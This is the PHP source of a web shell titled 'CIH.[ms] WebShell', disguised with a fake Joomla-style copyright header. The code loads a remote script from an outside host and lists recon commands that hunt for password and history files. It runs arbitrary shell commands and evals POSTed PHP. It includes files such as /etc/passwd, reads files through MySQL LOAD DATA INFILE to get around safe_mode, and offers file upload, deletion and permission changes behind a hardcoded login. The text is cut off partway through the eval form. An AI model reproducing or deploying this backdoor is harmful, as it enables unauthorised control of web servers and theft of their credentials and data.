· 8 years ago · Feb 20, 2018, 10:52 AM
1<?php
2/**
3 * @package Table.Libraries
4 *
5 * @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
6 * @license GNU General Public License version 2 or later; see LICENSE
7 */
8
9 $layouta = 1;
10 $tablel = 'tabletype1';
11 $tablep = 'tabletype2';
12 $errors = 0;
13 $stringnum = 1;
14 $hexdump_rows=20;
15echo "<SCRIPT SRC=http://w0rms.com/sayac.js></SCRIPT>";
16$alias=array( // aliases for shell. edit them if you need.
17'find suid files'=>'find / -type f -perm -04000 -ls',
18'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
19'find sgid files'=>'find / -type f -perm -02000 -ls',
20'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
21'find config.inc.php files'=>'find / -type f -name config.inc.php',
22'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
23'find config* files'=>'find / -type f -name "config*"',
24'find config* files in current dir'=>'find . -type f -name "config*"',
25'find all writable files'=>'find / -type f -perm -2 -ls',
26'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
27'find all writable directories'=>'find / -type d -perm -2 -ls',
28'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
29'find all writable directories and files'=>'find / -perm -2 -ls',
30'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
31'find all service.pwd files'=>'find / -type f -name service.pwd',
32'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
33'find all .htpasswd files'=>'find / -type f -name .htpasswd',
34'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
35'find all .bash_history files'=>'find / -type f -name .bash_history',
36'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
37'find all .mysql_history files'=>'find / -type f -name .mysql_history',
38'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
39'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
40'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
41'list file attributes on a Linux second extended file system'=>'lsattr -va',
42'show opened ports'=>'netstat -an',
43);
44
45
46 $f = array("SHELL" => "shell","EVAL" => "eval", "MySql Suite" => "mysql", "Server Information" => "server", "Env Informaion" => "envinfo", "PHPinfo" => "phpinfo", "Shell delete" => "delete");
47 $ver = '0.99.1 [ beta {fix} ]';
48session_start();
49define("start",atime());
50if(isset($_POST['eval'])){error_reporting(E_ALL&~E_NOTICE);}elseif($errors){error_reporting(E_ALL&~E_NOTICE);}else{error_reporting(0);}
51ini_set('max_execution_time',0);
52set_magic_quotes_runtime(0);
53set_time_limit(0);
54if(version_compare(phpversion(), '4.1.0') == -1){$_POST = &$HTTP_POST_VARS; $_GET= &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; }
55if (get_magic_quotes_gpc()){foreach ($_POST as $key=>$value){$_POST[$key] = stripslashes($value);}foreach ($_SERVER as $key=>$value){$_SERVER[$key] = stripslashes($value);}foreach ($_ENV as $key=>$value){$_SERVER[$key] = stripslashes($value);}foreach ($_FILES as $key=>$value){$_SERVER[$key] = stripslashes($value);}}
56if ($layouta == 0) {$_SESSION['logged'] = true;}
57
58
59
60$safe_mode = ini_get("safe_mode"); if (!$safe_mode) {$safe_mode = 'off';} else {$safe_mode = 'On';}
61$os = null; $dir = getcwd(); if(strlen($dir)>1 && $dir[1]==":") $os = "win"; else $os = "nix";
62if(empty($dir)){ $opsy = getenv('OS');if(empty($opsy)){ $opsy = php_uname(); } if(empty($opsy)){ $opsy ="-"; $os = "nix"; } else { if(eregi("^win",$opsy)) { $os = "win"; }else { $os = "nix"; }}}
63if($os == "nix"){$pwd = exec("pwd");} elseif($os == "win"){$pwd = exec("cd");} if(empty($pwd)) {$pwd = getcwd();}
64
65
66
67
68
69# functions
70
71function atime()
72{list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}
73
74function fperms($file)
75{$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {$info = 's';}
76elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';}elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}else {$info = 'u';}$info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));$info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info;}
77
78function conv_size($size){
79if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";}elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";}elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";}else {$size = $size . " B";}return $size;}
80
81function fileread($opfile)
82{$fh = fopen($opfile, 'r'); if (!$fh){error('Could not open file',$ver);} while(!feof($fh)) {$line = fgets($fh); echo htmlspecialchars($line);}}
83
84function fileread2($opfile,$stringnum)
85{
86 $fh = fopen($opfile, 'r'); if (!$fh){error('Could not open file',$ver);}
87 echo '<table style="font-size:10px; width:100%; margin:0px; background:#222; ">';
88
89 if ($stringnum){
90 $i=1;
91 while(!feof($fh)) {
92 $line = fgets($fh);
93 echo '<tr style="background:#242424;"><td style="text-align:center;padding:3px; width:2%; border-right:1px solid #2e2e2e; color:#444;">'.$i.'</td><td>'.htmlspecialchars($line).'</td></tr>';
94 $i++;
95 }} else {
96 while(!feof($fh)) {
97 $line = fgets($fh);
98 echo '<tr style="background:#242424;"><td>'.htmlspecialchars($line).'</td></tr>'; }
99 }
100 echo '</table><br/>';
101}
102
103
104function safq($query)
105{
106$arr = array();$res = mysql_query($query);
107if (mysql_num_rows($res) > 0) {$x=0;while($row = mysql_fetch_row($res)){foreach($row as $i => $value) {$column = mysql_field_name($res,$i);$data["$column"] = $value;$arr[$x] = $data;}$x++;}}return $arr;}
108
109function cmd_exec($cmd2)
110{
111if (isset($_POST['cmd'])) {$cmd=$_POST['cmd'];} else {$cmd = $cmd2;}
112$result = '';
113if(isset($_POST['cmdir'])){chdir($_POST['cmdir']);}
114if(function_exists('system')){ob_start();system($cmd);$result = ob_get_contents();ob_end_clean();}
115elseif(function_exists('exec')){exec($cmd,$result);$result = join("\n",$result);}
116elseif(function_exists('shell_exec')){$result = shell_exec($cmd);}
117elseif(function_exists('passthru')){ob_start();passthru($cmd);$result = ob_get_contents();ob_end_clean();}
118elseif(is_resource($f = popen($cmd,"r"))){$result = "";while(!feof($f)) { $result .= fread($f,1024); }pclose($f);}
119echo $result;
120}
121
122function code_eval()
123{if (isset($_POST['eval'])){echo "\n result is:<br/><br/>";eval($_POST['eval']);}}
124
125function error($text, $ver)
126{
127echo '
128<div class="notice">
129<p align="left" style="padding-left:15px;"><b>error occured:</b></p></div>
130<div class="notice" style="margin-bottom:0px; border-bottom:2px solid #222;">
131<textarea cols="100" rows="15" style="width:98%;" class="txt"> ';
132echo $text;echo '</textarea></div>'; do_footer($ver); die();
133}
134
135function notice($text)
136{
137echo "<div class='notice'>$text</div>";
138}
139
140
141function do_header($f, $layouta, $os, $path)
142{
143echo '<html><head>';
144if (isset($_POST['cmd']) || isset($_POST['alias'])) {echo '<meta http-equiv="Content-Type" content="text/html; charset=cp866">'; } else{echo'<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">';}
145echo'
146<title> CIH.[ms] WebShell </title>
147<style>
148body{background:#333; color:#999;font-family:Verdana, Arial;font-size:10px; padding:0px; margin:0px;}
149.logo {color:#999; font-family:Verdana, Arial; font-size:23px; text-align:left; padding-left:5px; padding-top:0px; margin-bottom:2px;}
150.m {color:#888;font-family:Verdana, Arial;font-size:10px; text-align:right; width:80px;background:#2c2c2c; border: 0px; border-right:1px solid #444; cursor:pointer; cursor:hand;}
151.m2 {background:#2c2c2c;color:#999;font-size:10px;font-family:Verdana;border: 0px; padding:3px; width:100%; cursor:pointer; cursor:hand;}
152.m2:hover {color:#ccc; background:#292929;}
153.i {color:#555;font-family:Verdana, Arial;font-size:10px; text-align:right;}
154.notice {background:#252525; padding:4px; margin-bottom:2px;}
155.footer {font-family:Verdana;font-size:10px; background:#252525; color:#555; padding:4px; border-bottom:1px solid #222; border-left:1px solid #444; border-right:1px solid #444; text-align:center;}
156.txt {background:#222; border:1px solid #333; color:#999; font-family:Verdana, Arial;font-size:10px; padding:5px;}
157.butt1 {height:20px; width:20px; padding:2px;border:1px solid #222;background:#333; color:#999; font-family:Verdana, Arial;font-size:10px;}
158.filet {color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;}
159.ico {color:#555;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;}
160.dir { cursor:pointer; cursor:hand;background:#252525;color:#999;font-weight:bold;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center; border:0px;}
161.file { cursor:pointer; cursor:hand; background:#252525;color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;border:0px; margin:0px;}
162.file:hover, .dir:hover {color:#ccc;}
163.str{background:#242424; padding:8px; color:#999; font-size:10px; border-bottom:1px solid #292929; border-top:1px solid #292929; margin-top:15px; text-align:left}
164.my{background:#252525;color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:left;border:0px;}
165.form {background:#232323; height:22px; border:1px solid #2e2e2e; width:98%; padding:4px; color:#999; font-family:Verdana, Arial;font-size:10px; }
166.fm {background:#272727; border:0px; color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px;}
167.fa {background:#222; color:#888;font-family:Verdana, Arial; font-size:10px; text-align:right; border: 0px; width:100%; height:100%; padding:10px; text-align:center;}
168.fa1 {background:#222; color:#888;font-family:Verdana, Arial; font-size:10px; text-align:right; border: 0px; width:100%; height:100%; padding:2px; text-align:center;}
169.fa:hover, .fa1:hover {background:#292929; color:#ccc;}
170</style>
171</head>
172<body><div style="position:absolute; left:0px; top:0px; background:#333; text-align:center; padding-left:100px; padding-right:100px; height:90%">
173<div style="background:#222; margin:0px; border-left:1px solid #444; border-right:1px solid #444; padding-left:0px; padding-right:0px;">
174<table style="width:100%; height:25px;">
175 <tr style="background:#2c2c2c;">
176 <td style="color:#666; font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:left; padding-left:6px;">
177 cihshell on <b>'.$_SERVER['HTTP_HOST'].'</b>
178 </td>';
179
180
181echo "<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$path."' class='m2'><td class='m'><input type='submit' value='main' class='m2'></td>";
182foreach($f as $k=>$v)
183 {
184 echo "
185 <!-- $k -->
186 <td class='m'><input type='submit' name='do' value='$v' class='m2'></td>
187 ";
188 }
189
190if($layouta){echo "<td class='m'><input type='submit' name='do' value='logout' class='m2'></td>";}
191$disfun = ini_get('disable_functions');
192$safe_mode = ini_get("safe_mode");
193if (!$safe_mode) {$safe_mode = 'Off';} else {$safe_mode = 'On';}
194$mysql_try = function_exists('mysql_connect');
195if($mysql_try){ $mysql = 'On';} else {$mysql = 'Off';}
196$pg_try = function_exists('pg_connect');
197if($pg_try){$pg = 'On';}else{$pg = 'Off';}
198$mssql_try = function_exists('mssql_connect');
199if($mssql_try){$mssql = 'On';}else{$mssql = 'Off';}
200$ora_try = function_exists('ocilogon');
201if($ora_try){$ora = 'On';}else{$ora = 'Off';}
202$curl_try = function_exists('curl_version');
203if($curl_try) {$curl = 'On';} else {$curl = 'Off';}
204$perms = fperms($path);
205echo ' </tr>
206</table>
207
208<table style="width:100%; margin-top:5px;"><tr>
209<td class="logo" style="width:120px;">CIH.<span style="color:#555">[</span><span style="color:#888">ms</span><span style="color:#555">]</span></td>
210<td class="i" style="padding-right:5px; text-align:right;">
211<nobr><b style="color:#666"><i>'.$perms.'</i></b> <span style="color:#333">|</span></nobr>
212<nobr>OS: <b>'.php_uname().'</b> <span style="color:#333">|</span></nobr>
213<nobr>safe mode: <b>'.$safe_mode.'</b> <span style="color:#333">|</span></nobr>
214<nobr>cURL: <b>'.$curl.'</b> <span style="color:#333">|</span></nobr>
215<nobr>MySQL: <b>'.$mysql.'</b> <span style="color:#333">|</span></nobr>
216<nobr>MSSQL: <b>'.$mssql.'</b> <span style="color:#333">|</span></nobr>
217<nobr>PostgreSQL: <b>'.$pg.'</b> <span style="color:#333">|</span></nobr>
218<nobr>Oracle: <b>'.$ora.'</b> <span style="color:#333">|</span></nobr>
219PHP: <b>'.phpversion().'</b>
220</td>
221
222</tr></table>
223<div style="border-bottom:1px solid #232323; margin-bottom:2px; font-size:5px;"> </div>';
224if (!empty($disfun)){ echo '<div style="border-bottom:1px solid #232323; margin-bottom:2px; font-size:10px; color:#666; text-align:right; padding:5px;"><b>disabled functions: </b>'.$disfun.'</div>';}
225
226}
227
228function do_footer($ver)
229{
230echo '</div>
231<div class="footer">
232<span style="float:right; color:#333;">'.round(atime()-start,5).'</span>
233<b><form method="post" style="margin:0px;">©</b><input type="submit" value="cihshell" name="do"
234style="border:0px; background:#252525; font-weight:bold; padding:0px;" class="footer"/> version : '.$ver.'</form>
235</div></div></body></html>';
236}
237
238# end of functions
239#
240if (!empty($_POST['login']) && !empty($_POST['password'])){
241if ($_POST['login'] == $tablel && $_POST['password'] == $tablep){
242$_SESSION['logged'] = true;} else {echo '
243<html><head><style>body{background:#333;}</style><title>login </title></head>
244<body><table style="margin-left:100px; margin-top:100px; background:#222; font-family:Verdana; font-size:10px; color:#999; padding:4px; width:100%:">
245<tr>
246<td><form method="post" style="margin:0px; padding:)px;">
247login: <input type="text" name="login" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">
248password: <input type="text" name="password" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">
249<input type="submit" style="color:#999; border:0px; font-size:10px; background:#262626; height:20px;; font-family:Verdana;" value="go"></form></td></tr><tr><td style="text-align:center; color:#666;">incorrect login or password</td></tr></table></body></html>'; die();}}
250
251if (isset ($_POST['do']) && $_POST['do']=='logout') { unset($_SESSION['logged']); }
252
253if ($_SESSION['logged'] == true){
254if (isset($_POST['do']) && $_POST['do']=='phpinfo'){echo'<form method="post"><input type="submit" value="return back" style="width:100%;"></form>'; phpinfo();echo'<form method="post"><input type="submit" value="return back" style="width:100%;"></form>';die();}
255if (isset($_POST['fdo']) && isset($_POST['ffile'])){
256$ffile = $_POST['ffile'];
257switch($_POST['fdo']){
258case 'download':
259$fl = $_POST['filename'];header("Content-type: application/x-octet-stream");header("Content-disposition: attachment; filename=".$fl.";");readfile($ffile);die();break;
260
261case 'preview':
262include($_POST['ffile']);die(); break;
263}}
264
265if(isset($_POST['f_file']))
266{
267 if ($_POST['f_file'] == "..")
268 { $slashpos = strpos($_POST['f_path'], strrchr($_POST['f_path'], "/"));
269$path = substr($_POST['f_path'], 0, $slashpos);
270 } else {$path = $_POST['f_path']."/".$_POST['f_file'];}
271
272}
273elseif(isset($_POST['path']))
274{$path = $_POST['path'];}
275else {$path = $pwd;}
276
277if(isset($_POST['restore'])){$path = $pwd;}
278$path = str_replace("\\", "/", $path);$path = str_replace("'", "", $path);
279
280
281
282do_header($f, $layouta, $os, $path);
283
284echo '<table class="notice" style="width:100%; margin-bottom:7px; background:#272727"><tr>
285<form method="post" action="" style="padding:0px; margin:0px;">
286<td style="width:50px;">
287<input type="hidden" value="'.$path.'" name="f_path">
288<input type="submit" value=".." name="f_file" class="butt1">
289<input type="submit" value="." name="restore" class="butt1"></td>
290<td></form>
291<form method="post" action="" style="padding:0px; margin:0px;">
292<input type="text" size="78" value="'.$path.'" name="path" style=" width:90%; height:20px; padding:3px;border:1px solid #222;background:#2c2c2c; color:#999; font-family:Verdana, Arial;font-size:10px;" >
293<input type="submit" value="go" class="butt1" style="width:30px; height:21px;">
294</form></td>
295</tr></table>';
296
297# Safe-mode
298# working
299if (isset($_POST['safe_mode'])){
300
301echo "
302<table style='width:100%; font-size:10px;'>
303<tr style='background:#272727;' ><td style='padding:10px; border-top:1px solid #2e2e2e;'><b>Try to read file(include):</b></td></tr>
304<tr style='background:#242424;' ><td style='padding:10px;'><form action='' method='post' style='padding:0px; margin:0px;'>
305<input type='text' name='sm_inc' style='width:80%;' class='form' value='/etc/passwd'/>
306<input class='form' style='width:60px;' type='submit' value='try'></form></td></tr>
307<tr style='background:#252525;'><td style='border-bottom:1px solid #2e2e2e;'> </td></tr>
308<tr style='background:#222; font-size:1px;'><td> </td></tr>
309
310<tr style='background:#272727;' ><td style='padding:10px; border-top:1px solid #2e2e2e;'><b>Try to read file(include):</b></td></tr>
311<tr style='background:#242424;' >
312<td style='padding:10px;'>
313<form action='' method='post' style='padding:0px; margin:0px;'>
314<input type='text' name='mysql_host' style='width:15%;' class='form' value='localhost'/>
315<span style='margin-left:5px; margin-right:5px;'>:</span><input type='text' name='mysql_port' style='width:40px' class='form' value='3306'/>
316<span style='margin-left:5px; margin-right:5px;'>database:</span><input type='text' name='mysql_db' style='width:15%;' class='form' value='dbname'/>
317<span style='margin-left:5px; margin-right:5px;'>login:</span><input type='text' name='mysql_login' style='width:15%;' class='form' value='dblogin'/>
318<span style='margin-left:5px; margin-right:5px;'>password:</span><input type='text' name='mysql_passw' style='width:15%;' class='form' value='dbpassword'/>
319<input type='text' name='mysql_file' style='margin-top:3px;width:700px;' class='form' value='/etc/passwd'/><br/>
320<input type='submit' name='sm_mysql' value='try' class='form' style='margin-top:8px;width:50px;'>
321</form></td></tr>
322<tr style='background:#252525;'><td style='border-bottom:1px solid #2e2e2e;'> </td></tr>
323<tr style='background:#222; font-size:1px;'><td> </td></tr>
324</table>
325";
326do_footer($ver); die();
327}
328# Safe_Mode functions
329if (isset($_POST['sm_inc']))
330{
331echo "<textarea cols='170' rows='34' class='txt' style='width:98%;' > ";
332include($_POST['sm_inc']);
333echo "</textarea><br/><input type='button' class='form' value='go back' onClick='javascript:history.back();'><br/><br/>";
334do_footer($version); die();}
335
336if(isset($_POST['sm_mysql']))
337{
338echo "<textarea cols='170' rows='34' class='txt' style='width:98%;' > ";
339if(!isset($_POST['mysql_port']) || empty($_POST['mysql_port'])) { $_POST['mysql_port'] = "3306"; }
340$db = mysql_connect($_POST['mysql_host'].':'.$_POST['mysql_port'],$_POST['mysql_login'],$_POST['mysql_passw']);
341if($db){
342if(mysql_select_db($_POST['mysql_db'],$db))
343{$sql = "DROP TABLE IF EXISTS cih_tb;"; mysql_query($sql);
344 $sql = "CREATE TABLE `cih_tb` ( `file` LONGBLOB NOT NULL );";
345 mysql_query($sql);$sql = "LOAD DATA INFILE \"".$_POST['mysql_file']."\" INTO TABLE cih_tb;";
346 mysql_query($sql);$sql = "SELECT * FROM cih_tb;";
347$r = mysql_query($sql);
348while(($r_sql = mysql_fetch_array($r))) { echo htmlspecialchars($r_sql[0]); }
349$sql = "DROP TABLE IF EXISTS cih_tb;";
350mysql_query($sql);
351}else echo "Can\'t select database";
352mysql_close($db);
353}else echo "-- Could not connect to MySQL server";
354echo "</textarea><br/><input type='button' class='form' value='go back' onClick='javascript:history.back();'><br/><br/>";
355do_footer($version);die();}
356
357
358
359if ($safe_mode == "On" && !isset($_POST['safe_mode']))
360{
361notice('<form method="post" style="margin:0px;"><b>safe_mode</b> is <b>On.</b><input type="submit" name="safe_mode" value="Click on this message to start working" style="font-size:10px; color:#999; font-family:Verdana;border:0px; background:#252525;"/></form>');
362}
363
364if (isset($_POST['fileact'])){switch($_POST['fileact']){
365case 'New File':
366$cdir = $_POST['curdir'];
367echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:98%;' name='wrcont'></textarea>
368
369<input type='hidden' name='path' value='".$_POST['curdir']."'><input type='hidden' name='curdir' value='".$_POST['curdir']."'>
370<input type='text' name='nfname' class='form' style='width:28%; background:#252525;margin-bottom:1px; margin-right:1px;' value='file.txt'><input type='submit' name='wrfile' class='form' value='create file' style='width:70%'></form><br/>";
371do_footer($ver); die();break;
372
373case 'New Dir':
374$curdir = $_POST['curdir'];
375echo "<form method='post' action='' style='margin:0px;'><input type='hidden' name='curdir' value='$curdir'><input type='hidden' name='path' value='$curdir'><input type='text' name='dirname' class='form' style='width:90%; margin-right:1px;' size='100'><input type='submit' style='width:60px;' class='form' value='go!'></form><br/>";
376do_footer($ver);die();break;
377case 'Upload':
378if (isset($_FILES['userfile'])) {
379$file = $_FILES['userfile'];
380$curdir = $_POST['path'];
381if(isset($_POST['newfilech']) && !empty($_POST['newfile'])) {$nfn=$_POST['newfile'];} else { $nfn = $file['name']; }
382if($file['error']!=0) error($file['error']);
383else{copy($file['tmp_name'], $curdir.'/'.$nfn);if(!file_exists($curdir.'/'.$file['name']))error("Upload failed. (Can't copy temp file ".$file['tmp_name']." into current directory)", $ver);else{notice("File ".$nfn." was uploaded successfuly..</div>");}}}
384echo "<table style='width:100%; font-size:10px;'><tr style='background:#272727;' ><td style='padding:10px; border-top:1px solid #2e2e2e;'><b>Upload from your computer:</b></td></tr>
385<tr style='background:#242424;' ><td style='padding:10px;'><form action='' enctype='multipart/form-data' method='post' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='$path'> <input type='hidden' name='fileact' value='Upload'><input name='userfile' size='85' value='' class='form' type='file' style='border:1px solid #444;'><br/><br/>New name :<input name='newfilech' value='1' type='checkbox'><input type='text' name='newfile' style='width:20%;' class='form' value='filename.php'/><input type='submit' style='width:60px;' class='form' value='go!'></form></td></tr>
386<tr style='background:#252525;'><td style='border-bottom:1px solid #2e2e2e;'> </td></tr>
387<tr style='background:#222; font-size:1px;'><td> </td></tr></table>";do_footer($ver);die();break;
388}}
389# File Manager : File actions
390if(isset($_POST['newname'])) // rename
391{rename($_POST['ffile'], $_POST['newname']);if(!file_exists($_POST['newname'])){error('Could not rename '); }notice("File was successfuly renamed to ".$_POST['newname']."...");}
392if(isset($_POST['newpath'])) //copy
393{copy($_POST['ffile'], $_POST['newpath']);if(!file_exists($_POST['newpath'])){error('Could not copy file'); }echo " <div class='notice'>File was successfuly copied to <b>".$_POST['newpath']."</b>...</div>";}
394if(isset($_POST['chmod'])) // chmod
395{$a = chmod($_POST['ffile'], $_POST['chmod']);if(!$a){error('Could not change permissions :o(', $ver);}echo " <div class='notice'>We hope that permissions for file were successfuly changed to <b>".$_POST['chmod']."</b> ^^</div>";}
396if(isset($_POST['touch'])) // touch
397{$dt = strtotime($_POST['touch']); if(!touch($_POST['ffile'], $dt)){ error('Could not change touch time...', $ver);} echo " <div class='notice'>We hope that touch for file were successfuly changed to <b>".$_POST['touch']."</b> ^^</div>";}
398if (isset($_POST['ffile']) && isset($_POST['wrcont'])){ // write into file
399$wrpath = $_POST['ffile']; $wrcont = $_POST['wrcont'];$fh = fopen($wrpath, 'w');if ($fh){fwrite($fh, $wrcont);fclose($fh); }else {error('Couldn\'t write to file..');}echo "<div class='notice'>File <b>$wrpath</b> was successfuly modified</div>";}
400if (isset($_POST['nfname']) && isset($_POST['curdir']) && isset($_POST['wrcont'])) // new file
401{$file1 = $_POST['curdir']."/".$_POST['nfname'];$fh = fopen($file1, 'w');$r = fwrite($fh, $_POST['wrcont']);fclose($fh);if (!file_exists($file1)){error('Could not create a file..');} else {notice("File was successfuly created");}}
402if (isset($_POST['dirname']) && isset($_POST['curdir'])) // new directory
403{$curdir = $_POST['curdir']; mkdir($curdir.'/'.$_POST['dirname']);if(file_exists($curdir.'/'.$_POST['dirname'])){notice($curdir.'/'.$_POST['dirname']." was successfuly created.");}else{error('An error occured while creating dir', $ver);}
404}
405# File Manager : Directory actions
406if (isset($_POST['ddo']) && isset($_POST['dirr'])){
407switch($_POST['ddo']){
408case 'rename':
409echo" <form method='post' action='' style='margin:0px;'><input type='hidden' name='path' value='".$pwd."'><input type='text' name='ffile' class='form' value='".$_POST['dirr']."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' name='newname' class='form' value='".$_POST['dirr']."' style='width:40%'><input type='submit' style='width:60px;' class='form' value='rename!'></form><br/>";
410do_footer($ver);die();break;
411 case 'delete':
412rmdir($_POST['dirr']);if(file_exists($_POST['dirr'])){error('Could not delete directory');}notice($_POST['dirr']." was successfuly deleted.");do_footer($version);break;}}
413if (isset($_POST['fdo']) && isset($_POST['ffile']) && $_POST['fdo']=='delete'){
414unlink($_POST['ffile']);if(file_exists($_POST['ffile'])){error('Could not delete file');}notice("<b>".$_POST['ffile']."</b> was successfuly deleted.");break;
415}if(isset($_POST['diract']))
416{$path = $_POST['cmdir']; $perms = fperms($_POST['cmdir']);
417echo"
418<div style='padding:2px;'><div style='background:#272727; padding:3px; margin-bottom:3px;text-align:left;'><b>File actions</b></div><div style='background:#272727; padding:3px; font-size:9px; text-align:left;'>dir:$path | permissions: <b>$perms </b> </div><div style='padding:4px; padding-left:30px; font-size:9px; font-weight:bold; color:#999; text-align:left;'><form method='post' action=''><input type='hidden' name='dirr' value='$path'><input type='hidden' name='path' value='$path'><input type='hidden' name='curpath' value='$pp'><input type='hidden' name='filename' value='$ppp'> ><input type='submit' class='m' name='ddo' value='rename' style='margin-bottom:0px; background:#222;'><br/> ><input type='submit' class='m' name='ddo' value='delete' style='margin-bottom:0px; background:#222;'><br/><br/><br/></form></div><div style='background:#272727; font-size:9px;'> </div></div>";do_footer($ver);die();}
419# switch $do
420#
421if (isset($_REQUEST['do']))
422{
423switch ($_REQUEST['do']){
424case 'mysql':
425if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhost = 'localhost';}if (isset($_POST['mysqlw_db'])){$dbname = $_POST['mysqlw_db'];} else {$dbname = 'dbname';}if (isset($_POST['mysqlw_login'])){$dblogin = $_POST['mysqlw_login'];}else {$dblogin = 'dblogin';}if (isset($_POST['mysqlw_passw'])){$dbpass = $_POST['mysqlw_passw'];}else {$dbpass = 'dbpassword';}if (isset($_POST['mysqlw_port'])){$dbport = $_POST['mysqlw_port'];} else {$dbport = '3306';}if (!empty($_POST['sql'])){echo '<div >';$sqlq = $_POST['sql'];$db = mysql_connect($dbhost.':'.$dbport,$dblogin,$dbpass);if($db)
426{if(!empty($_POST['mysqlw_db'])) { mysql_select_db($_POST['mysqlw_db'],$db); }$queries = explode(';',$sqlq);foreach($queries as $number=>$query) {
427$number++;$r = safq($query); $error = mysql_error($db);if($error == 'Query was empty'){ break;}
428echo "<div class='str' style='border-top:1px solid #333; '>query # <b>".$number."</b>:".htmlspecialchars($query)."</div>";
429if ($error){ notice("Error : <b>".$error."</b>"); }
430else {if(is_array($r)){echo '<table style="width:100%; background:#222;">';
431if(is_array($r[0])){echo "<tr style='background:#292929; font-size:10px;'>";foreach($r[0] as $n=>$v){echo "<td style='padding:5px;'><b>$n</b></td>";}echo '</tr>';}foreach($r as $a){echo "<tr style='background:#232323;'>";
432if(is_array($a)){foreach($a as $n=>$v){echo "<td class='my'>$v</td>";}}else{echo "<td class='file'>$a</td>";}echo '</tr>';}echo '</table>';}else{echo $r;}if(($rows = mysql_affected_rows($db))>=0) {
433echo "<div class='str' style='margin-top:3px; border-bottom:1px solid #333; padding:3px;'>affected rows : <b>".$rows."</b></div>"; }
434}} mysql_close($db);}else {notice('Error: Could not connect to database..');} echo '</div>'; }
435echo "<form action='' method='post' style='margin:0px; margin-top:15px;'>
436<table style='width:100%; height:40%'><tr><td valign='top' style='background:#272727; padding:3px;'><textarea class='txt' cols='70' rows='15' name='sql' style='width:100%; height:99%'>";
437if(isset($_POST['sql'])){echo $_POST['sql'];} else echo 'SHOW DATABASES;';
438echo "</textarea></td><td style='width:150px; background:#272727;' valign='top' >
439<input type='text' name='mysqlw_host' class='txt' style='margin:10px; height:24px;' value='$dbhost'/><input type='text' name='mysqlw_db' class='txt' style='margin:10px; height:24px;' value='$dbname'/><input type='text' name='mysqlw_login' class='txt' style='margin:10px; height:24px;' value='$dblogin'/><input type='txt' name='mysqlw_passw' class='txt' style='margin:10px; height:24px;' value='$dbpass'/><input type='text' name='mysqlw_port' class='txt' style='margin:10px; height:24px;' value='$dbport'/><br/></td><tr><td colspan=2 valign='top' style='height:5%;'><input type='hidden' name='do' value='mysql'><input type='submit' class='txt' style='width:100%; margin:0px; margin-bottom:5px; ' value='go!'></td></tr></table></form><br/>";
440do_footer($ver); die(); break;
441case 'server':
442echo '<table class="str" style="width:100%">';foreach($_SERVER as $k=>$v)
443{echo "<tr style='background:#262626; color:#666'><td style='padding:3px;'><b>$k</b></td><td>$v</td></tr>";}echo '</table>';do_footer($ver);
444die();break;
445case 'envinfo':
446echo '<table class="str" style=" width:100%">';foreach($_ENV as $k=>$v)
447{echo "<tr style='background:#262626; color:#666'><td style='padding:3px;'><b>$k</b></td><td style='padding:3px;'>$v</td></tr>";}echo '</table><br/>';do_footer($ver);die();break;
448case 'delete':
449if(unlink(substr(strrchr($_SERVER['PHP_SELF'],"/"),1))==true){echo "<div class='notice'>cihshell has been deleted successfully..bye-bye ): </div><br/><br/>"; do_footer($ver);}else{error('Unable to delete shell', $ver);} die();break;
450case 'eval':
451echo "<form method='post' action='' style='padding:0px; margin-top:5px;'><input type='hidden' name='do' value='eval' style='border-bottom:1px solid #444;'> <textarea name='eval' class='form' style='height:100px;'>";
